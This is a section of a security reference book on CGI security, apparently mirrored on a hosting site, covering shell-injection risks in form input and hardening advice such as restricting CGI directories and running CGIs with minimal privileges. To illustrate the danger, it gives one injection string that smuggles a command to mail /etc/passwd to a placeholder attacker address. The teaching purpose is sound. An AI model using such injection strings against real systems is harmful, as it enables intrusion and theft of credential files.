HostedDB - Dedicated UNIX Servers

-->
Internet Security Professional Reference:CGI Security
Previous Table of Contents Next


GET and POST Input Data

Unsafe use of input data is the number one source of CGI security holes, usually encountered in combination with improper use of the shell. Errors of this nature can be made in nearly any language, on any platform.

Inexperienced or careless programmers are generally quite adept at opening up security holes this way, even in very short CGIs. Most nontrivial programming languages provide one or more means of executing external commands, a system procedure. In Unix, this is often parsed by a shell, typically the Bourne Shell (/bin/sh), to easily provide the programmer with all the power of the shell. It also provides the programmer with all the pitfalls.

Many shell metacharacters are interpreted by the shell, as opposed to being passed directly to the executed program as arguments. Herein lies the danger. Consider the following line of PERL code, intended to extract lines containing a particular string from a database:

system(“/usr/bin/grep $string /usr/local/database/file”);

If the string was obtained from an HTML form and its contents are not verified not to contain shell metacharacters, the form submitter can execute arbitrary commands. Observe that ; is a shell metacharacter used as a command delimiter: if the string submitted is

something;/bin/mail cracker@bad.com </etc/passwd/;something

then the system call expands to mail the password file to the cracker.

This is by no means the only problematic shell metacharacter. See the language-specific section for some PERL regular expressions to help identify dangerous characters. The important principle is to consider how input data is being used and when it can interact with the shell.

Wherever possible, it is best to avoid using the shell at all when invoking external programs. However, it is still not safe to pass user-supplied input unchecked. Many external programs can perform shell escapes or other unexpected functions based on user input. The CGI programmer must be familiar with the capabilities of the program, because it is a sure bet that the cracker is.

Do not believe that because the source code of your CGI programs is unavailable crackers will not be able to find weaknesses. This embodies the ill-considered and thoroughly discredited “security through obscurity” attitude. It is often quite easy for an experienced cracker to deduce what actions the CGI is taking on the server side; it is then a simple matter to submit data designed to expose any flaws.

Minimizing Vulnerability

With the detailed weaknesses in mind, the number of avenues of attack can be decreased and the difficulty increased. All of these measures will impact the flexibility and ease of installation of CGI programs, but this is the price of security. It is important to actively decide what measures are appropriate for your site, and to implement and enforce these in a consistent manner.

Restrict Access to CGI

In general, there are two models for enabling server execution of CGI programs. The first model is that the administrator can designate one or more directories as containing executable content and retain control over what is placed in those directories. This allows the server administrator complete control over what is publicly available, so this method is naturally unpopular with users.

There is also a more permissive model, wherein the server administrator designates a special CGI file extension, allowing anyone with the ability to serve HTML documents to write CGIs. Because unskilled programmers are in far greater supply than skilled and security-conscious ones, this configuration carries considerably greater risk that someone will unintentionally open the machine up to attack. This model is also prone to unexpected interactions. Many times the WWW document tree is the same as the anonymous ftp archive area so that administrators do not have to maintain two sets of files. Imagine if a cracker finds a world-writable directory, then proceeds to upload a script with the .cgi extension. It can then be requested, and executed, via the HTTP server.

Run CGIs with Minimum Privileges

In general, the WWW server must be started by root so that it can both bind to a privileged port and open root-owned log files. It should then change its UID to something with minimal privileges; the default configuration is often to use nobody and nogroup for this purpose, with a UID/GID of –1.

This UID/GID is in effect when the server runs CGIs. It is better practice to create a dedicated UID/GID such as www and wwwgroup for the running server and CGIs. This avoids any conflicts between the server processes and other programs that use the nobody designation and allows strict control over what files are readable and writable by both the server and CGI. The server configuration should allow specification of both UID and GID.

A common difficulty when using the nobody UID for CGIs is that the program can write only to world-writable directories. Specifying an alternate UID and creating designated directories owned by that UID provides a safer mechanism for allowing CGI write access. Be aware that any user with CGI access has full read and write access to files owned by the server UID.

CGI programs can be made SUID, which means they will take on a UID other than that of the server when run. The dangers associated with running programs SUID should be covered in a book specifically on Unix security.

The HTTP server, the interpreter, or the operating system might not allow execution of SUID scripts, in which case the CGIs must be written in a compilable language. If available and functional, this language provides a way for specific CGIs to execute with special privileges; however, other methods described later in the chapter are preferable and do not require micromanaging the permissions of all CGIs.

Obviously, the constraints of the UID limit the operations the server and CGIs can perform. Some inexperienced Web administrators have suggested running the server as root to circumvent the inconvenience. This is a terrible mistake. An HTTP server is a large and complex piece of software, rarely subject to strenuous security review. If run as root, any flaw could compromise not only the machine it runs on but the entire network.


Previous Table of Contents Next